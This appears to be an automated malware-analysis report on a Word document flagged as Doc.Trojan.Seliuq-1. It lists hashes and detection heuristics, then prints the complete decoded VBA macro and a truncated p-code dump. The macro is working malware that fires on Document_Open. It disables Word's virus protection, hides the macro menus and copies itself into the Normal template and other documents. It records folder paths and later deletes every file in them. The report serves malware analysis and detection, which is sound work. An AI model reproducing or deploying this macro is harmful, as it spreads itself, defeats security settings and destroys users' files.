Doc.Trojan.Seliuq-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 c20cf55efe9e0212…

MALICIOUS

Office (OLE)

29.0 KB Created: 2000-04-19 03:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: eb1d7b31341d04e22c812ede3a5397d9 SHA-1: 3fe7bac0e0d92ab10aa87c58ede205a82a3304d8 SHA-256: c20cf55efe9e021226b2e1b830b3b341b7f5bf32b03d23ebd23bbe93dc780d27
180 Risk Score

Malware Insights

Doc.Trojan.Seliuq-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, specifically a Document_Open macro designed to disable security features and manipulate other macros within the document and NormalTemplate. This behavior is indicative of a trojan designed to evade detection and potentially download or execute further malicious content.

Heuristics 3

  • ClamAV: Doc.Trojan.Seliuq-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Seliuq-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9366 bytes
SHA-256: 9062967276cffb74f075fe8469529e239e3c76604e5db81fe28760ccfee3caff
Detection
ClamAV: Doc.Trojan.Seliuq-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Aquiles"
Attribute VB_Base = "1Normal.Aquiles"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
 On Error Resume Next
 If ActiveDocument.VBProject.VBComponents.Count > 1 Then
 For op = 2 To ActiveDocument.VBProject.VBComponents.Count
   cantidad = ActiveDocument.VBProject.VBComponents.Item(op).CodeModule.CountOfLines
   ActiveDocument.VBProject.VBComponents.Item(op).CodeModule.DeleteLines 1, cantidad
 Next op
 End If
 If NormalTemplate.VBProject.VBComponents.Count > 1 Then
 For op = 2 To NormalTemplate.VBProject.VBComponents.Count
   cantidad = NormalTemplate.VBProject.VBComponents.Item(op).CodeModule.CountOfLines
   NormalTemplate.VBProject.VBComponents.Item(op).CodeModule.DeleteLines 1, cantidad
 Next op
 End If
 Document_Close
End Sub
Private Sub Document_Close()
 On Error Resume Next
 CommandBars("Visual Basic").Visible = False
 Options.VirusProtection = False
 CommandBars("Tools").Controls("Macro").Enabled = False
 CommandBars("View").Controls(6).Enabled = False
 CommandBars("tools").Controls(15).Enabled = False
 Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
 Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
 If MacroContainer.FullName = ActiveDocument.FullName Then
  If nt.Name <> "Aquiles" Then GoTo ClaudioNormal
 Else
  If ad.Name <> "Aquiles" Then GoTo Aquilesdocument
 End If
GoTo Findelmundo
Aquilesdocument:
 lineas = ad.CodeModule.CountOfLines
 ad.CodeModule.DeleteLines 1, lineas
 lineas = 1
 Do While lineas <= nt.CodeModule.CountOfLines
    cadenadecodigo = nt.CodeModule.lines(lineas, 1)
    ad.CodeModule.insertlines lineas, cadenadecodigo
    lineas = lineas + 1
 Loop
 ad.Name = "Aquiles"
 Open "C:\system.Dos" For Append As #1
   Print #1, ActiveDocument.Path
 Close #1
 ActiveDocument.SaveAs ActiveDocument.FullName, wdFormatDocument
GoTo Findelmundo
ClaudioNormal:
 lineas = nt.CodeModule.CountOfLines
 nt.CodeModule.DeleteLines 1, lineas
 lineas = 1
 Do While lineas <= ad.CodeModule.CountOfLines
    cadenadecodigo = ad.CodeModule.lines(lineas, 1)
    nt.CodeModule.insertlines lineas, cadenadecodigo
    lineas = lineas + 1
 Loop
 nt.Name = "Aquiles"
 NormalTemplate.Save
Findelmundo:
If Dir("C:\system.Dos", vbNormal) <> "" Then
If FileLen("C:\system.Dos") > 1024 Then
  Open "C:\system.Dos" For Input As #1
    Do While Not EOF(1)
      Line Input #1, direccion
      Kill (direccion + "\*.*")
    Loop
  Close #1
  Kill ("C:\system.Dos")
  Application.UserName = "Gonzalez"
End If
End If
'Al rio jactancioso, Dios le a puesto un vado. Malinke
'esto es una modificacion, trato de llegar a la perfeccion
End Sub

' Processing file: /opt/analyzer/scan_staging/9624305cb17a4baba721c1203adb9dca.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Aquiles - 4533 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	Gt 
' 	IfBlock 
' Line #3:
' 	StartForVariable 
' 	Ld op 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #4:
' 	Ld op 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St cantidad 
' Line #5:
' 	LitDI2 0x0001 
' 	Ld cantidad 
' 	Ld op 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #6:
' 	StartForVariable 
' 	Ld op 
' 	EndForVariable 
' 	NextVar 
' Line #7:
' 	EndIfBlock 
' Line #8:
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	Gt 
' 	IfBlock 
' Line #9:
' 	StartForVariable 
' 	Ld op 
' 	EndForVariable 
' 	LitDI2 0x0
... (truncated)

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